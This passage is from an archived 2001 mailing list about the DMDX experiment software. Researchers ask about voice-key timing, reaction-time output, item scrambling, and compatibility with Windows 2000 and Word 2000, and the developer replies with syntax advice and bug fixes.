finished playing by the time the frame with the clockon in it is displayed. Physically what you want is impossible let alone any constraints imposed by DMDX's limitations. >Is there a way of switching RecordVocal on and off during a >single experiment? If not, then is there another way I can >go about doing this (using zillion responses maybe)? No way to turn a device on or off unfortunately, other than mapping and un mapping the DigitalVox's signal. You might try displaying the last frame without a clockon (it doesn't matter where in an item the occurs, the mapping is done as the item is parsed before the display commences) for however many ticks corresponds to the beep length and displaying a frame that doesn't erase the display but contains the clockon. Essentially you'll be turning the clock on around 100ms late so you'll have to add that time to the RTs in your analysis but you just plain can't be recording and playing sounds without the recording containing what you are playing. >Finally, I have also tried to remap positive responses to >the space bar for all letters except the last one, so that >subjects advance by pressing the space bar rather than a >shift key, but for some reason that command hasn't worked >here, even though it worked in another file - could it be a >bug? Remapping to a letter works fine. At the moment this >file only works by pressing negative response q to advance. You probably need to use and as well, the space bar is mapped to it by default. >Here is my item file so far: > > >0 ""Press SPACEBAR to start""; >+1 * ""a""; >+2 * ""v""; >+3 * ""e""; >+4 * ""n""; >+5 * ""u""; >+6 ""beep"" / >* ""e""; >+100 * "" ""; >+1 * ""s""; >+2 * ""c""; >+3 * ""h""; >+4 * ""o""; >+5 * ""o""; >+6 ""beep"" / >* ""l""; >+100 * "" ""; >0 ""END OF BLOCK""; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The computer can't tell you the emotional story. It can give you the exact mathematical design, but what's missing is the eyebrows. - Frank Zappa >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 9 02:46:58 2001 Received: from mercury.ex.ac.uk (mercury.ex.ac.uk [144.173.6.26]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA02781 for ; Fri, 9 Feb 2001 02:46:37 -0700 Received: from psypc36.ex.ac.uk [144.173.25.36] by mercury via SMTP (JAA67195); Fri, 9 Feb 2001 09:49:05 GMT From: Rachel Mycroft To: DMDX@psy1.psych.arizona.edu Cc: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Recording both naming and button press responses In-Reply-To: <5.0.2.1.2.20010208115314.009efcb0@psy1.psych.arizona.edu> Message-ID: Date: Fri, 9 Feb 2001 09:46:36 +0000 (GMT Standard Time) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thank you for your reply - I have indeed got your suggestion to work. In case it's useful to anyone, here is the file I used. 0 ""Press SPACEBAR to start""; +11 * ""a""; +12 * ""v""; +13 * ""e""; +14 * ""n""; +15 * ""u""; +16 ""beep"" / ""e""/ ! * ; +100 * ""Press SPACEBAR to continue""; +21 * ""s""; +22 * ""c""; +23 * ""h""; +24 * ""o""; +25 * ""o""; +26 ""beep"" / ""l""/ ! * ; 0 ""END OF BLOCK""; Rachel On Thu, 08 Feb 2001 13:10:37 -0700 ""Jonathan C. Forster"" wrote: > At 06:22 PM 2/8/01 +0000, you wrote: > >Dear list, > > > >I would like to set up an experiment where letters of a > >word are presented one at a time, each one disappearing > >with the presentation of the next and the letters appearing > >in the same positions as they would if the whole word were > >presented. The presentation is paced by the subject > >requesting the next letter in the sequence by a key press. > >A beep is presented with the final letter, and subjects are > >asked to name the word when they hear the beep. I would > >like to measure how long they spend viewing each letter and > >the time they take to name the word after the presentation > >of the final letter (or alternatively how long they take > >from the first letter until they name the word - I could > >still calculate the average time per letter). > > > >I have been using the Continue Progressive X keyword. My > >difficulty is that this requires both button press and > >voice key input within the same experiment. Including the > >RecordVocal input at the beginning of the file disables the > >button press responses. I have managed to use just > >DigitalVOX as input, unmapping it for all the letters in > >the word except the last one. However, since the beep is > >presented concurrently with the last letter, the voice key > >is triggered by the beep rather than by the subject's > >response (my beep lasts 100 msec, so it should be completed > >before the onset of their response, but I don't want to > >delay timing by making it a separate item - I want to see > >how fast my subjects can read these words). If I had the > >RecordVocal files then I could obtain the naming latencies > >afterwards (time consuming, but not too bad if I use small > >numbers of subjects). > > There is no way to get around the beep triggering the DigitalVOX beyond > making sure that the beep is finished playing by the time the frame with > the clockon in it is displayed. Physically what you want is impossible let > alone any constraints imposed by DMDX's limitations. > > >Is there a way of switching RecordVocal on and off during a > >single experiment? If not, then is there another way I can > >go about doing this (using zillion responses maybe)? > > No way to turn a device on or off unfortunately, other than mapping and > un mapping the DigitalVox's signal. You might try displaying the last > frame without a clockon (it doesn't matter where in an item the +DigitalVOX> occurs, the mapping is done as the item is parsed before the > display commences) for however many ticks corresponds to the beep length > and displaying a frame that doesn't erase the display but contains the > clockon. Essentially you'll be turning the clock on around 100ms late so > you'll have to add that time to the RTs in your analysis but you just plain > can't be recording and playing sounds without the recording containing what > you are playing. > > >Finally, I have also tried to remap positive responses to > >the space bar for all letters except the last one, so that > >subjects advance by pressing the space bar rather than a > >shift key, but for some reason that command hasn't worked > >here, even though it worked in another file - could it be a > >bug? Remapping to a letter works fine. At the moment this > >file only works by pressing negative response q to advance. > > You probably need to use and as well, the > space bar is mapped to it by default. > > >Here is my item file so far: > > > > > >0 ""Press SPACEBAR to start""; > >+1 * ""a""; > >+2 * ""v""; > >+3 * ""e""; > >+4 * ""n""; > >+5 * ""u""; > >+6 ""beep"" / > >* ""e""; > >+100 * "" ""; > >+1 * ""s""; > >+2 * ""c""; > >+3 * ""h""; > >+4 * ""o""; > >+5 * ""o""; > >+6 ""beep"" / > >* ""l""; > >+100 * "" ""; > >0 ""END OF BLOCK""; > > > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > The computer can't tell you the emotional story. It can give > you the exact mathematical design, but what's missing is the > eyebrows. > - Frank Zappa > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ---------------------- Rachel Mycroft University of Exeter >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 9 11:55:16 2001 Received: from rly-ip02.mx.aol.com (rly-ip02.mx.aol.com [152.163.225.160]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA03889 for ; Fri, 9 Feb 2001 11:53:12 -0700 Received: from tot-tm.proxy.aol.com (tot-tm.proxy.aol.com [152.163.197.1]) by rly-ip02.mx.aol.com (8.8.8/8.8.8/AOL-5.0.0) with ESMTP id NAA21172 for ; Fri, 9 Feb 2001 13:45:35 -0500 (EST) Received: from l6e7i6 (AC910ED4.ipt.aol.com [172.145.14.212]) by tot-tm.proxy.aol.com (8.10.0/8.10.0) with SMTP id f19IjXC04155 for ; Fri, 9 Feb 2001 13:45:34 -0500 (EST) Message-ID: <002201c092c8$01c3d660$d40e91ac@l6e7i6> From: ""Paul Mandell"" To: ""DMDX"" Subject: [DMDX] .azk file Date: Fri, 9 Feb 2001 12:42:06 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_001F_01C09295.B5F3A580"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C09295.B5F3A580 Content-Type: text/plain; charset=""Windows-1252"" Content-Transfer-Encoding: quoted-printable I've just piloted an experiment and want o make sure I'm reading the .azk file on reaction time appropriately. >From the following example: Subject 12, 02/07/2001 14:30:09 on OEMComputer, refresh 13.21ms Item RT 250 -4000.00 250 -4000.00 250 1025.15 250 1166.01 1) Are the reaction times reported measured in milliseconds? 2) Is the negative sign an indication of an ""incorrect"" response on the part of the subject? 3) Why does ""-4000.00"" appear to be a limit? I have no reaction times reported larger than that.=20 Thank you for help! _________ Paul Mandell, Ph.D. Dept of Modern & Classical Languages University of Houston Houston, Texas 77204 voice: (713)-743-3054 ------=_NextPart_000_001F_01C09295.B5F3A580 Content-Type: text/html; charset=""Windows-1252"" Content-Transfer-Encoding: quoted-printable I've just piloted an = experiment and want=20 o make sure I'm reading the .azk file on = reaction=20 time appropriately.   From the following = example:    Subject=20 12, 02/07/2001 14:30:09 on = OEMComputer,=20 refresh 13.21ms   Item     =20 RT    250 = -4000.00    250 = -4000.00    250  1025.15    250  1166.01 1)=20 Are the reaction times reported measured in = milliseconds? 2)  Is the = negative sign=20 an indication of an ""incorrect"" response on=20 the part of the subject? 3)=20 Why does ""-4000.00"" appear to be a limit?  I have no=20 reaction times reported = larger than=20 that. Thank you for=20 help! _________ Paul Mandell, Ph.D.Dept = of Modern=20 & Classical LanguagesUniversity of HoustonHouston, Texas=20 77204voice: (713)-743-3054 ------=_NextPart_000_001F_01C09295.B5F3A580-- >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 9 15:34:24 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA04395 for ; Fri, 9 Feb 2001 15:34:11 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E001507CE for DMDX@psy1.psych.arizona.edu; Fri, 9 Feb 2001 15:34:10 -0700 Message-Id: <5.0.2.1.2.20010209153320.009e5be0@psy1.psych.arizona.edu> Date: Fri, 09 Feb 2001 15:34:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: .azk file In-Reply-To: <002201c092c8$01c3d660$d40e91ac@l6e7i6> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:42 PM 2/9/01 -0600, you wrote: >1) Are the reaction times reported measured in milliseconds? Yes. >2) Is the negative sign an indication of an ""incorrect"" response >on the part of the subject? Yes. >3) Why does ""-4000.00"" appear to be a limit? I have no reaction >times reported larger than that. Default value for the T parameter in 4000. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The computer can't tell you the emotional story. It can give you the exact mathematical design, but what's missing is the eyebrows. - Frank Zappa >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 9 18:18:16 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA04781 for ; Fri, 9 Feb 2001 18:17:58 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by deimos.email.Arizona.EDU (5.1.056) id 3A6F756100152CBB for DMDX@psy1.psych.arizona.edu; Fri, 9 Feb 2001 18:17:57 -0700 Message-Id: <5.0.2.1.2.20010209181534.009e3ec0@psy1.psych.arizona.edu> Date: Fri, 09 Feb 2001 18:16:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: .azk file In-Reply-To: <5.0.2.1.2.20010209153320.009e5be0@psy1.psych.arizona.edu> References: <002201c092c8$01c3d660$d40e91ac@l6e7i6> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:34 PM 2/9/01 -0700, you wrote: > Default value for the T parameter in 4000. Is is is is 4000. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The brain is a wonderful organ; it starts working the moment you get up in the morning, and does not stop until you get to school. >From DMDX-owner@psy1.psych.arizona.edu Sun Feb 11 23:15:10 2001 Received: from rufus.comms.unsw.EDU.AU (rufus.comms.unsw.EDU.AU [149.171.96.100]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id XAA10167 for ; Sun, 11 Feb 2001 23:14:02 -0700 Received: from student.unsw.edu.au ([129.94.35.137]) by rufus.comms.unsw.EDU.AU (8.8.8/8.8.8 Kenso-Central-NO-SPAM) with ESMTP id RAA15932 for ; Mon, 12 Feb 2001 17:13:14 +1100 (EST) Message-ID: <3A8776D5.F7B47D3C@student.unsw.edu.au> Date: Mon, 12 Feb 2001 16:38:29 +1100 From: Rachel Bond MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Scrambling References: <045901bf603b$dceb2c40$312815ac@lpe> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi I am conducting a picture naming experiment in which the background colour behind the picture is crucial. This is no problem using lines like +1 / * �fish� / /; except that I don't know how to scramble just one element of the line. The sequence of background colours needs to be fixed, but I want the pictures to appear in a random order. Any suggestions? More details about how to use the new scrambling and multi-scrambling options in 2.4.02 would be great too. Many thanks Rachel Bond >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 09:24:29 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA11363 for ; Mon, 12 Feb 2001 09:24:11 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by deimos.email.Arizona.EDU (5.1.056) id 3A6F75610016CE58 for DMDX@psy1.psych.arizona.edu; Mon, 12 Feb 2001 09:24:10 -0700 Message-Id: <5.0.2.1.2.20010212091458.009f1150@psy1.psych.arizona.edu> Date: Mon, 12 Feb 2001 09:24:09 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Scrambling In-Reply-To: <3A8776D5.F7B47D3C@student.unsw.edu.au> References: <045901bf603b$dceb2c40$312815ac@lpe> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:38 PM 2/12/01 +1100, you wrote: >Hi > >I am conducting a picture naming experiment in which the background >colour behind the picture is crucial. This is no problem using lines >like > >+1 / * ""fish"" / /; > >except that I don't know how to scramble just one element of the line. >The sequence of background colours needs to be fixed, but I want the >pictures to appear in a random order. Any suggestions? You'll have to use , you can't scramble within an item. Something like: $0 d0 %0 ! c ;$ + 1 / * ""fish"" / /; $0 d0 %0 ! c ;$ +2 / * ""cat"" / /; >More details about how to use the new scrambling and multi-scrambling >options in 2.4.02 would be great too. If there's more help on those someone else will have to write it, I'm not. Especially the multi-scrambling, gods that hurt figuring that much out. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A fellow who is always declaring he's no fool usually has his suspicions. - Wilson Mizner >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 11:06:26 2001 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id LAA11678 for ; Mon, 12 Feb 2001 11:06:16 -0700 Received: from GRAND-CENTRAL-STATION.MIT.EDU by MIT.EDU with SMTP id AA17075; Mon, 12 Feb 01 13:04:40 EST Received: from melbourne-city-street.MIT.EDU (MELBOURNE-CITY-STREET.MIT.EDU [18.69.0.45]) by grand-central-station.MIT.EDU (8.9.2/8.9.2) with ESMTP id NAA26907 for ; Mon, 12 Feb 2001 13:06:15 -0500 (EST) Received: from corot (COROT.MIT.EDU [18.42.2.3]) by melbourne-city-street.MIT.EDU (8.9.3/8.9.2) with SMTP id NAA00389 for ; Mon, 12 Feb 2001 13:06:15 -0500 (EST) Message-Id: <200102121806.NAA00389@melbourne-city-street.MIT.EDU> Date: Mon, 12 Feb 2001 13:04:47 -0500 To: DMDX@psy1.psych.arizona.edu From: Richard Russell Subject: [DMDX] TimeDX tests not running Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'm trying to install TimeDX and DMDX but am encountering some difficulty. I can open TimeDX, but am unable to open any dialog boxes to run tests. For example, clicking on 'Select Video Mode' causes the screen to change from blue to grey and the words 'Video Modes Test' to appear at the top of the window, but no dialog box or other location to choose a video mode appears. All of the other tests yield similar results except for 'Time Video Mode', which causes the words 'Refresh Rate <>' to flicker briefly on the screen and then the words 'Vertical Retrace Sync Test' to appear at the top of the window. I am using a Pentium III with 392Mb of RAM running Windows 2000. The video card is an ATI Xpert2000. Thanks for any help! >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 11:32:37 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA11790 for ; Mon, 12 Feb 2001 11:32:31 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A6F7561001712CF for DMDX@psy1.psych.arizona.edu; Mon, 12 Feb 2001 11:32:30 -0700 Message-Id: <5.0.2.1.2.20010212112139.009e6d50@psy1.psych.arizona.edu> Date: Mon, 12 Feb 2001 11:32:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: TimeDX tests not running In-Reply-To: <200102121806.NAA00389@melbourne-city-street.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:04 PM 2/12/01 -0500, you wrote: >I'm trying to install TimeDX and DMDX but am encountering some difficulty. >I can open TimeDX, but am unable to open any dialog boxes to run tests. >For example, clicking on 'Select Video Mode' causes the screen to change >from blue to grey and the words 'Video Modes Test' to appear at the top of >the window, but no dialog box or other location to choose a video mode >appears. All of the other tests yield similar results except for 'Time >Video Mode', which causes the words 'Refresh Rate <>' to flicker briefly on >the screen and then the words 'Vertical Retrace Sync Test' to appear at the >top of the window. > >I am using a Pentium III with 392Mb of RAM running Windows 2000. The video >card is an ATI Xpert2000. A quick test here confirms your results, win2k is no longer usable. Either use the legacy 1.3 version of DMDX or dual boot to 98. Something in my lovely new dialog code isn't working under w2k, I'll see if I can figure out what it is. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The computer can't tell you the emotional story. It can give you the exact mathematical design, but what's missing is the eyebrows. - Frank Zappa >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 13:16:21 2001 Received: from mail.tor.axxent.ca (smtp.tor.axxent.ca [209.250.128.26]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA12034 for ; Mon, 12 Feb 2001 13:14:53 -0700 Received: from [216.249.2.11] (dial-0519.tor.axxent.ca [216.249.2.11]) by mail.tor.axxent.ca (8.11.0/8.9.3) with SMTP id f1CKEch29996 for ; Mon, 12 Feb 2001 15:14:38 -0500 (EST) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Mon, 12 Feb 2001 15:16:02 -0500 To: DMDX@psy1.psych.arizona.edu From: jcramsay@pathcom.com (James Ramsay and Suzanne Belanger) Subject: [DMDX] Word 2000 Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi: I'm having trouble using Word 2000 with the latest version of DMDX. If I use Word 97, it's fine, but with WOrd 2000, when I try to run an item file Syntax Check, it stops at every line. The message I get is regarding unrecognized switch characters - and will refer to a sequence in the middle of a word in the middle of an item!! Again, though, when I use Word 97, it's fine. Is there a general problem using Word 2000 with the latest version of DMDX? (i.e., the one updated at the end of January?). Suzanne Belanger University of Toronto >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 13:47:29 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA12152 for ; Mon, 12 Feb 2001 13:47:23 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A6F75610017561C for DMDX@psy1.psych.arizona.edu; Mon, 12 Feb 2001 13:47:22 -0700 Message-Id: <5.0.2.1.2.20010212134655.009eb2f0@psy1.psych.arizona.edu> Date: Mon, 12 Feb 2001 13:47:24 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Word 2000 In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:16 PM 2/12/01 -0500, you wrote: >Hi: >I'm having trouble using Word 2000 with the latest version of DMDX. If I >use Word 97, it's fine, but with WOrd 2000, when I try to run an item file >Syntax Check, it stops at every line. The message I get is regarding >unrecognized switch characters - and will refer to a sequence in the middle >of a word in the middle of an item!! Again, though, when I use Word 97, >it's fine. >Is there a general problem using Word 2000 with the latest version of DMDX? >(i.e., the one updated at the end of January?). >Suzanne Belanger >University of Toronto Check the Ignore Unknown RTF box or don't use Word 2000. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What you enjoy is much more important then what you have. >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 14:54:23 2001 Received: from devnull.comms.unsw.edu.au (devnull.comms.unsw.EDU.AU [149.171.96.110]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA12371 for ; Mon, 12 Feb 2001 14:54:08 -0700 Received: from b110 ([129.94.35.40]) by devnull.comms.unsw.edu.au (8.8.8/8.8.8 Kenso-Central-NO-SPAM) with SMTP id IAA06828 for ; Tue, 13 Feb 2001 08:52:19 +1100 (EST) Date: Tue, 13 Feb 2001 08:52:19 +1100 (EST) Message-Id: <3.0.32.20010213080115.00c9be70@pop3.unsw.edu.au> To: DMDX@psy1.psych.arizona.edu From: Sally Andrews Subject: [DMDX] Re: Scrambling Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Rachel At last one of the thousands of DMDX messages that I skim has some personal significance!! S At 04:38 PM 2/12/01 +1100, you wrote: >Hi > >I am conducting a picture naming experiment in which the background >colour behind the picture is crucial. This is no problem using lines >like > >+1 / * �fish� / /; > >except that I don't know how to scramble just one element of the line. >The sequence of background colours needs to be fixed, but I want the >pictures to appear in a random order. Any suggestions? > >More details about how to use the new scrambling and multi-scrambling >options in 2.4.02 would be great too. > >Many thanks > >Rachel Bond > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > ************************************* Associate Professor Sally Andrews Head of School, School of Psychology University of New South Wales Sydney, 2052 Australia Phone: 61-2-93853034 Fax: 61-2-93851193 Email: S.Andrews@unsw.edu.au ************************************* >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 15:07:25 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA12461 for ; Mon, 12 Feb 2001 15:07:20 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A6F756100178543 for DMDX@psy1.psych.arizona.edu; Mon, 12 Feb 2001 15:07:19 -0700 Message-Id: <5.0.2.1.2.20010212150435.009e93d0@psy1.psych.arizona.edu> Date: Mon, 12 Feb 2001 15:07:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] win2k problems Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've tracked down the win2k problem mentioned earlier. I can release an interim version with kludge, you'll just get an error message every time a new dialog is activated under win2k. Or you can wait till I find out why a perfectly innocent function is failing. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What you enjoy is much more important then what you have. >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 15:26:10 2001 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id PAA12569 for ; Mon, 12 Feb 2001 15:26:01 -0700 Received: from GRAND-CENTRAL-STATION.MIT.EDU by MIT.EDU with SMTP id AA06148; Mon, 12 Feb 01 17:24:22 EST Received: from melbourne-city-street.MIT.EDU (MELBOURNE-CITY-STREET.MIT.EDU [18.69.0.45]) by grand-central-station.MIT.EDU (8.9.2/8.9.2) with ESMTP id RAA11645 for ; Mon, 12 Feb 2001 17:25:57 -0500 (EST) Received: from corot (COROT.MIT.EDU [18.42.2.3]) by melbourne-city-street.MIT.EDU (8.9.3/8.9.2) with SMTP id RAA25977 for ; Mon, 12 Feb 2001 17:25:39 -0500 (EST) Message-Id: <200102122225.RAA25977@melbourne-city-street.MIT.EDU> Date: Mon, 12 Feb 2001 17:24:11 -0500 To: DMDX@psy1.psych.arizona.edu From: Richard Russell Subject: [DMDX] Re: win2k problems In-Reply-To: <5.0.2.1.2.20010212150435.009e93d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:07 PM 2/12/2001 -0700, Jonathan C. Forster wrote: > > I've tracked down the win2k problem mentioned earlier. I can release an >interim version with kludge, you'll just get an error message every time a >new dialog is activated under win2k. Or you can wait till I find out why a >perfectly innocent function is failing. I would love to have the interim version. An error message shouldn't disturb me much. Richard Russell MIT Dept. of Brain and Cognitive Sciences (617) 252-1815 >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 15:38:55 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA12665 for ; Mon, 12 Feb 2001 15:38:50 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E0017A3BF for DMDX@psy1.psych.arizona.edu; Mon, 12 Feb 2001 15:38:49 -0700 Message-Id: <5.0.2.1.2.20010212153405.009e8430@psy1.psych.arizona.edu> Date: Mon, 12 Feb 2001 15:38:52 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.4.04 and TimeDX 2.1.02 In-Reply-To: <200102122225.RAA25977@melbourne-city-street.MIT.EDU> References: <5.0.2.1.2.20010212150435.009e93d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:24 PM 2/12/01 -0500, you wrote: >At 03:07 PM 2/12/2001 -0700, Jonathan C. Forster wrote: > > > > I've tracked down the win2k problem mentioned earlier. I can release an > >interim version with kludge, you'll just get an error message every time a > >new dialog is activated under win2k. Or you can wait till I find out why a > >perfectly innocent function is failing. > >I would love to have the interim version. An error message shouldn't >disturb me much. Not to worry, I found it. The code was using a device context that it had released and win9x being the piece of junk it is was letting me get away with it, w2k OTOH is much more rigorous. Problem is rectified in TimeDX 2.1.02 and DMDX 2.4.04 now on the web page. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What you enjoy is much more important then what you have. >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 16:54:02 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA12880 for ; Mon, 12 Feb 2001 16:53:53 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (5.1.056) id 3A6F75610017BA3A for DMDX@psy1.psych.arizona.edu; Mon, 12 Feb 2001 16:53:53 -0700 Message-Id: <4.3.1.1.20010212164253.00c8b940@kforster.inbox.email.arizona.edu> Date: Mon, 12 Feb 2001 16:53:52 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: Word 2000 In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:16 PM 2/12/01 -0500, you wrote: >Hi: >I'm having trouble using Word 2000 with the latest version of DMDX. If I >use Word 97, it's fine, but with WOrd 2000, when I try to run an item file >Syntax Check, it stops at every line. The message I get is regarding >unrecognized switch characters - and will refer to a sequence in the middle >of a word in the middle of an item!! Again, though, when I use Word 97, >it's fine. >Is there a general problem using Word 2000 with the latest version of DMDX? >(i.e., the one updated at the end of January?). Judging from the experience Ram Frost had using Word 2000 to display Hebrew words with DMDX, it seems that this program likes to break an occasional word up into two segments (perhaps because of the way it handles buffers?), and then joins them together again. This had bad consequences, because the order of the letters in each individual segment were reversed, rather than the whole word. Ram solved this problem by preparing the .rtf files in Word 2000 (which was a huge advantage, since the cursor moves from right to left, etc), and then opening and saving them in Word 8.0. So, for the time being at least, the best you 